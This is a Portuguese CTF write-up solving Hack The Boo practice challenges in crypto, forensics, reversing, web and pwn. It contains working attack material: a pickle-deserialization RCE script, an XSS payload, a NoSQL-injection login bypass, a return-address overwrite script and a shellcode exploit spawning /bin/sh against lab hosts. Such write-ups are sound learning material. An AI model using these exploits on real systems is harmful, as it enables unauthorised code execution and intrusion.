Neste ano, o Hack The Boo se dividiu em duas partes: Practice e Competition. Este write-up é sobre a Practice que apresentou 16 desafios de dificuldade fácil. Abaixo, você encontrará a resolução de 13 desses desafios que consegui concluir. Restaram apenas três: um de criptografia, um de reversão e um de web.

banner


Crypto

Hexoding

Nesse desafio recebemos um arquivo script de python e um arquivo de texto com o seguinte conteúdo:

4854427b6b6e3077316e675f6830775f74305f3164336e743166795f336e633064316e675f736368336d33735f31735f6372756331346c5f6630725f615f
Y3J5cHQwZ3I0cGgzcl9fXzRsczBfZDBfbjB0X2MwbmZ1czNfZW5jMGQxbmdfdzF0aF9lbmNyeXA1MTBuIX0=

A primeira linha está codificada em hexadecimal e a segunda em Base64. Ao decodificar, obtemos as seguintes partes:

HTB{kn0w1ng_h0w_t0_1d3nt1fy_3nc0d1ng_sch3m3s_1s_cruc14l_f0r_a_
crypt0gr4ph3r___4ls0_d0_n0t_c0nfus3_enc0d1ng_w1th_encryp510n!}

Portanto, a flag é HTB{kn0w1ng_h0w_t0_1d3nt1fy_3nc0d1ng_sch3m3s_1s_cruc14l_f0r_a_crypt0gr4ph3r___4ls0_d0_n0t_c0nfus3_enc0d1ng_w1th_encryp510n!}.

SPG

Nesse segundo desafio de crypto recebemos um código de python e um arquivo de texto. O script gera uma senha baseada em uma master key e encripta a flag também utilizando essa master key. Por fim, a senha e a flag encriptada são escritas no arquivo de output.

def main():
    password = generate_password()
    encryption_key = sha256(MASTER_KEY).digest()
    cipher = AES.new(encryption_key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(FLAG, 16))

    print(f'Your Password : {password}\nEncrypted Flag : {b64encode(ciphertext).decode()}')

O arquivo output.txt contém as seguintes informações:

Your Password : gBv#3%DXMV*7oCN2M71Zfe0QY^dS3ji7DgHxx2bNRCSoRPlVRRX*bwLO5eM&0AIOa&#$@u
Encrypted Flag : tnP+MdNjHF1aMJVV/ciAYqQutsU8LyxVkJtVEf0J0T5j8Eu68AxcsKwd0NjY9CE+Be9e9FwSVF2xbK1GP53WSAaJuQaX/NC02D+v7S/yizQ=

A senha é gerada a partir de uma master key, utilizando um alfabeto que inclui letras maiúsculas e minúsculas, dígitos e caracteres especiais. O algoritmo percorre cada bit da master key, escolhendo um caractere aleatório da primeira metade do alfabeto se o bit for 1, e da segunda metade se for 0.

ALPHABET = string.ascii_letters + string.digits + '~!@#$%^&*'

def generate_password():
    master_key = int.from_bytes(MASTER_KEY, 'little')
    password = ''

    while master_key:
        bit = master_key & 1
        if bit:
            password += random.choice(ALPHABET[:len(ALPHABET)//2])
        else:
            password += random.choice(ALPHABET[len(ALPHABET)//2:])
        master_key >>= 1

    return password

A questão aqui é que é possível deduzir a master key a partir da senha gerada, devido à relação direta com as partes do alfabeto em que cada caractere da senha se encontra. Além disso, como a geração da senha percorreu os bits da master key do menos significativo para o mais significativo, acabamos obtendo os bits invertidos, exigindo, assim, uma reversão. Adicionalmente, ao converter a master key de bytes para int, foi empregado o formato little endian, o que implica que, após obter os bytes da master key, é necessário realizar uma inversão adicional.

Agora que possuímos a master key podemos descriptografar a flag utilizando o mesmo algoritmos que foi usado para encriptar, nesse caso o AES no modo ECB. E quando a flag foi escrita no output ela foi codificada para Base64 então é necessário decodificar antes.

Por fim temos o seguinte script para obter a flag:

import string
from base64 import b64decode
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

ALPHABET = string.ascii_letters + string.digits + '~!@#$%^&*'
senha = 'gBv#3%DXMV*7oCN2M71Zfe0QY^dS3ji7DgHxx2bNRCSoRPlVRRX*bwLO5eM&0AIOa&#$@u'
flag = 'tnP+MdNjHF1aMJVV/ciAYqQutsU8LyxVkJtVEf0J0T5j8Eu68AxcsKwd0NjY9CE+Be9e9FwSVF2xbK1GP53WSAaJuQaX/NC02D+v7S/yizQ='

masterKey = ''
for ch in senha:
    masterKey += '1' if ch in ALPHABET[:len(ALPHABET)//2] else '0'

masterKey = masterKey[::-1]
masterKey = long_to_bytes(int(masterKey, 2))[::-1]

encryptionKey = sha256(masterKey).digest()
cipher = AES.new(encryptionKey, AES.MODE_ECB)
flag = cipher.decrypt(b64decode(flag))

print(flag)

Ao executar o script, a flag é revelada: HTB{00ps___n0t_th4t_h4rd_t0_r3c0v3r_th3_m4st3r_k3y_0f_my_p4ssw0rd_g3n3r4t0r}.

Forensics

Spooky Phishing

No desafio “Spooky Phishing”, recebemos um arquivo HTML que representa uma página de phishing. Dentro do código HTML, encontramos as seguintes linhas no início do corpo do documento:

  <input class="li" hidden value="Njg3NDc0NzA3MzNhMmYyZjc3Njk2ZTY0NmY3NzczNmM2OTc2NjU3NTcwNjQ2MTc0NjU3MjJlNjg3NDYyMmY0ODU0NDI3Yjcz">
  <input class="il" hidden value="NzAzMDMwNmI3OTVmNzA2ODMxNzM2ODMxNmU2NzVmNzczMTc0Njg1ZjczNzAzMDMwNmI3OTVmNzM3MDcyMzMzNDY0NzM2ODMzMzM3NDczN2QyZjYxNzA3MDJlNzg2YzczNzgyZTY1Nzg2NQ==">

Ao combinar os dois valores e decodificá-los, primeiro do Base64 e depois do hexadecimal, descobrimos uma URL que contém a flag HTB{sp00ky_ph1sh1ng_w1th_sp00ky_spr34dsh33ts}.

phishing

Bat Problems

Agora recebemos um arquivo batch (.bat) que define várias variáveis e, em seguida, concatena o conteúdo delas para formar um comando codificado em Base64. Esse comando é posteriormente executado no PowerShell.

variáveis

comando

Para resolver o desafio, usei o Hybrid Analysis, um serviço que fornece ambientes sandbox para executar e analisar arquivos maliciosos. Também poderia ter usado serviços semelhantes, como o any.run.

No relatório gerado pelo Hybrid Analysis, encontrei o comando que foi executado no PowerShell, que continha a flag: HTB{0bfusc4t3d_b4t_f1l3s_c4n_b3_4_m3ss}.

flag

Vulnerable Season

No terceiro desafio de forense, fomos fornecidos com um arquivo de logs de um servidor web que continha mais de 11 mil linhas de registros.

logs

Depois de analisar os logs é possível encontrar alguns que contém execução de comandos.

rce

Sendo que o da linha 11477 contém o seguinte comando:

Nz=Eg1n;az=5bDRuQ;Mz=fXIzTm;Kz=F9nMEx;Oz=7QlRI;Tz=4xZ0Vi;Vz=XzRfdDV;echo $Mz$Tz$Vz$az$Kz$Oz|base64 -d|rev

Que executando no terminal retorna a flag HTB{L0g_@n4ly5t_4_bEg1nN3r}.

execução

Reversing

CandyBowl

Esse desafio de reverse é bem simples. É um executável que ao rodar espera 3 segundos e retorna um doce aleatório de um vetor de strings.

Usando o comando strings conseguimos obter a flag HTB{4lw4y5_ch3ck_ur_k1d5_c4ndy}.

strings

GhostInTheMachine

Já nesse reverse o programa apenas lê alguns bytes do /dev/urandom e imprime na tela. Fazendo um disassembly pelo GDB podemos ver que há uma função getflag antes do comportamento que podemos ver do programa.

getflag

Então eu defini um breakpoint na instrução que chama a função ghost pois assim já passou pela getflag. E assim ao ver a memória temos a flag HTB{ex0rc1s1ng_th3_m4ch1n3}.

memória

Web

CandyVault

O CandyVault é um desafio de web que apresenta apenas uma página de login.

login

Olhando que código-fonte que é fornecido, encontramos que a aplicação utiliza um banco de dados não relacional, o MongoDB, e que a flag é exibida quando se faz login com sucesso.

...
client = MongoClient(app.config["MONGO_URI"])
...
app.route("/login", methods=["POST"])
def login():
...
    elif content_type == "application/json":
        data = request.get_json()
        email = data.get("email")
        password = data.get("password")
...
    if user:
        return render_template("candy.html", flag=open("flag.txt").read())
...

Dessa forma utilizando um payload de NoSQL Injection podemos bypassar a tela de login e obter a flag HTB{w3lc0m3_to0o0o_th3_c44andy_v4u1t!}.

injection

Spook Tastic

Neste desafio, nos deparamos com uma página web na qual a única ação permitida é o envio de um email para se cadastrar na newsletter localizada no final da página.

page

Ao examinar o código-fonte em “app.py”, podemos observar que o email fornecido é validado somente se ele contém a palavra ‘script’, conforme o seguinte trecho de código:

def blacklist_pass(email):
    email = email.lower()

    if "script" in email:
        return False

    return True

Caso o email não contenha essa palavra, uma thread da função start_bot é criada. Esta função acessa a rota /bot e aguarda 3 segundos por um alerta na página. Quando um alerta é acionado, a função send_flag é chamada com o endereço IP do usuário como parâmetro.

def start_bot(user_ip):
...
    try:
        browser.get(f"{HOST}/bot?token={BOT_TOKEN}")

        WebDriverWait(browser, 3).until(EC.alert_is_present())

        alert = browser.switch_to.alert
        alert.accept()
        send_flag(user_ip)
...

A função send_flag simplesmente lê o conteúdo do arquivo “flag.txt” e o envia para todos os clientes conectados no websocket que tenham o IP fornecido como parâmetro.

def send_flag(user_ip):
    for id, ip in socket_clients.items():
        if ip == user_ip:
            socketio.emit("flag", {"flag": open("flag.txt").read()}, room=id)

A página /bot é criada a partir de um template que renderiza todos os emails, e os caracteres não seguros são escapados usando o operador ‘| safe’.

{% for email in emails %}
    <span>{{ email|safe }}</span><br/>
{% endfor %}

Para obter a flag, é necessário realizar um ataque de Cross-Site Scripting (XSS) para criar um alerta que não contenha a palavra ‘script’ no payload. Isso pode ser alcançado com o seguinte payload:

<img src=0 onerror=alert(0) />

Dessa forma, recebemos a flag HTB{4l3rt5_c4us3_jumpsc4r35!!} via websocket.

websocket

Spellbound Servants

Neste desafio, somos apresentados a uma tela de login, mas, diferentemente de outros desafios, aqui temos a opção de criar uma conta.

login

Após criar uma conta e fazer login, somos redirecionados para a página /home.

home

Ao examinar o código-fonte da aplicação, descobrimos que a validação do usuário na página inicial é feita por meio de uma função decorator chamada isAuthenticated. Essa função verifica o usuário com base em um objeto serializado passado por meio do cookie “auth”.

def isAuthenticated(f):
    @wraps(f)
    def decorator(*args, **kwargs):
        token = request.cookies.get('auth', False)

        if not token:
            return abort(401, 'Unauthorised access detected!')
        
        try:
            user = pickle.loads(base64.urlsafe_b64decode(token))
            kwargs['user'] = user
            return f(*args, **kwargs)
        except:
            return abort(401, 'Unauthorised access detected!')

    return decorator

Esse módulo pickle é vulnerável a execução de código durante a desserialização de objetos. Uma PoC para o exploit pode ser encontrada nesse artigo do exploit-notes.

Com base nessa PoC, foi criado um script Python que explora a vulnerabilidade de execução de código remoto (RCE) para inserir a flag em um arquivo acessível no servidor web e, em seguida, faz uma requisição para obter a flag.

import pickle
import base64
import os
import requests

class RCE:
    def __reduce__(self):
        cmd = ('cat /flag.txt > /app/application/static/flag.txt')
        return os.system, (cmd,)

pickled = pickle.dumps(RCE())
payload = base64.urlsafe_b64encode(pickled)

url = 'http://94.237.53.58:44662'
r = requests.get(f'{url}/home', cookies={'auth': payload})

print(requests.get(f'{url}/static/flag.txt').content)

Ao executar esse script, a flag HTB{P1CkL3_15_f0R_SUP3R555!} é retornada.

flag

Pwn

Lesson

Esse desafio é muito diferente dos outros pois é uma sequência de perguntas que devem ser respondidas certas para conseguir a flag. E há um ELF para baixar que as perguntas são baseadas nele.

[*] Question number 0x1:

Is this a ‘32-bit’ or ‘64-bit’ ELF? (e.g. 1337-bit)

>> 64-bit

[*] Question number 0x2:

Which of these 3 protections are enabled (Canary, NX, PIE)?

>> NX

[*] Question number 0x3:

What do you need to enter so the message ‘Welcome admin!’ is printed?

>> admin

pwn

◉ HINT: This is the buffer –> char name[0x20] = {0}; ◉

[*] Question number 0x4:

What is the size of the ’name’ buffer (in hex or decimal)?

>> 32

O valor 20 em hexadecimal pode ser convertido para 32 na base decimal.

◉ HINT: Only functions inside ‘main()’ are called. ◉

◉ Also, the functions these functions call. ◉

[*] Question number 0x5:

Which custom function is never called? (e.g. vuln())

>> under_construction

function

◉ HINT: Which function reads the string from the stdin? ◉

[*] Question number 0x6:

What is the name of the standard function that could trigger a Buffer Overflow? (e.g. fprintf())

>> scanf

[*] Question number 0x7:

Insert 30, then 39, then 40 ‘A’s in the program and see the output.

After how many bytes a Segmentation Fault occurs (in hex or decimal)?

>> 40

[*] Question number 0x8:

What is the address of ‘under_construction()’ in hex? (e.g. 0x401337)

>> 0x4011d6

Isso pode ser visto na penúltima imagem.

Ao responder essas 8 perguntas recebemos a flag HTB{pwn_101_w1th_s0m3_b0f}.

Lemonade Stand v1

Este desafio é uma exploração de buffer overflow. No binário fornecido, somos informados de que temos 12 moedas e podemos pedir uma limonada normal ou grande. Se inserirmos um valor diferente, o programa nos dirá que eles não vendem uvas. Ao escolher o tamanho da limonada, se tivermos moedas suficientes, elas serão deduzidas do total; caso contrário, o programa perguntará se queremos fazer um empréstimo, e se aceitarmos, ele solicitará um nome e sobrenome.

lemonade

Usando o Cutter para decompilar o programa, podemos ver um “main” bastante simples que apenas chama o menu e as funções “buy” dependendo do tamanho escolhido.

main

A função “buy_large” verifica apenas se temos 5 moedas; se tivermos, as moedas são deduzidas, caso contrário, a função “save_creds” é chamada. “buy_normal” faz o mesmo, mas considera 3 moedas.

buy

A função “save_creds” é a que oferece uma limonada grátis ao inserir um nome e sobrenome. No entanto, o buffer alocado para salvar o sobrenome tem 64 bytes, enquanto a função “read” que lê o sobrenome é passada como argumento 0x4a, o que significa que serão lidos 74 bytes.

save_creds

Além disso, há uma função não chamada durante a execução normal do programa chamada “grapes”, que lê o arquivo “flag.txt” e imprime o conteúdo na tela. Essa função está no endereço 0x004008cf.

grapes

Para obter a flag, é necessário realizar um buffer overflow no array onde o sobrenome é armazenado, substituindo o endereço de retorno para o endereço da função “grapes”. Dessa forma, em vez de retornar à função “save_creds” após a leitura da entrada do usuário, o programa retornará ao endereço que especificamos.

O programa com a flag real é executado no servidor do Hack the Box, e temos o endereço IP e a porta para nos conectar. Após a conexão, é necessário solicitar uma limonada grande três vezes para gastar todas as moedas e, em seguida, chamar a função “save_coins”. Em seguida, passamos um nome e, ao inserir o sobrenome, inserimos 72 bytes aleatórios e o endereço da função “grapes,” preenchendo assim os 74 bytes lidos.

Aqui está o script em Python para realizar o que foi explicado acima:

import pwn

ip = '94.237.49.11'
port = 44822

r = pwn.remote(ip,port)

for i in range(3):
    r.sendlineafter('>>', '2')
r.sendlineafter('>>', '1')
r.sendlineafter('name: ', 'lucas')

r.sendlineafter('surname: ', b'A'*72 + pwn.p64(0x004008cf))

print(r.recvall())

Ao executar esse script, obtemos a flag HTB{d0nt_45k_f0r_gr4p35_4t_4_l3m0n4d3_5t4nd}.

flag

Magic Trick

Este último desafio de pwn também envolve a exploração de um buffer overflow. O binário fornecido possui a proteção NX desativada, mas o PIE (Position Independent Executable) ativado, o que significa que pode ser executado código na pilha, mas o endereço base vai mudar a cada execução do programa. O buffer da variável tem 64 bytes, mas, desta vez, estão sendo lidos 78 bytes.

Ao iniciar o programa, ele mostra o endereço para o qual precisamos retornar para executar o código. Esse endereço é lido e salvo em uma variável chamada “addr”. O código que será executado na memória é um shellcode que cria um shell “sh”, permitindo a execução de comandos.

Para criar o shellcode, foi utilizada a função do próprio pwntools, e o payload contém o shellcode, alguns NOPs (bytes 0x90, indicando à CPU para não fazer nada), e o endereço de retorno da pilha.

Após a execução do shellcode, uma shell é criada, e, em seguida, o comando ‘cat flag.txt’ é enviado para obter a flag.

Aqui está o script em Python para realizar o que foi explicado acima:

import pwn

ip = '94.237.59.206'
port = 42267

r = pwn.remote(ip,port)

r.recvuntil("is '")
addr = int(r.recvuntil("'")[:-1], 16)

r.sendlineafter('>> ', 'y')

pwn.context.arch = 'amd64'

shellcode = pwn.asm(pwn.shellcraft.execve('/bin/sh'))
payload = shellcode + b'\x90' * 35 + pwn.p64(addr)
r.sendlineafter('>> ', payload)

r.sendline('cat flag.txt')
print(r.recv())

Ao executar esse script, obtivemos a flag HTB{4br4_k4d4br4_sh3llc0d3}.

flag

Com isso termino esse write-up. Foi um CTF bem divertido em que pude rever várias coisas que não estudava já fazia um tempo, por exemplo esses buffers overflow. Agradeço a toda equipe do Hack the Box por esse CTF e a você que leu até aqui.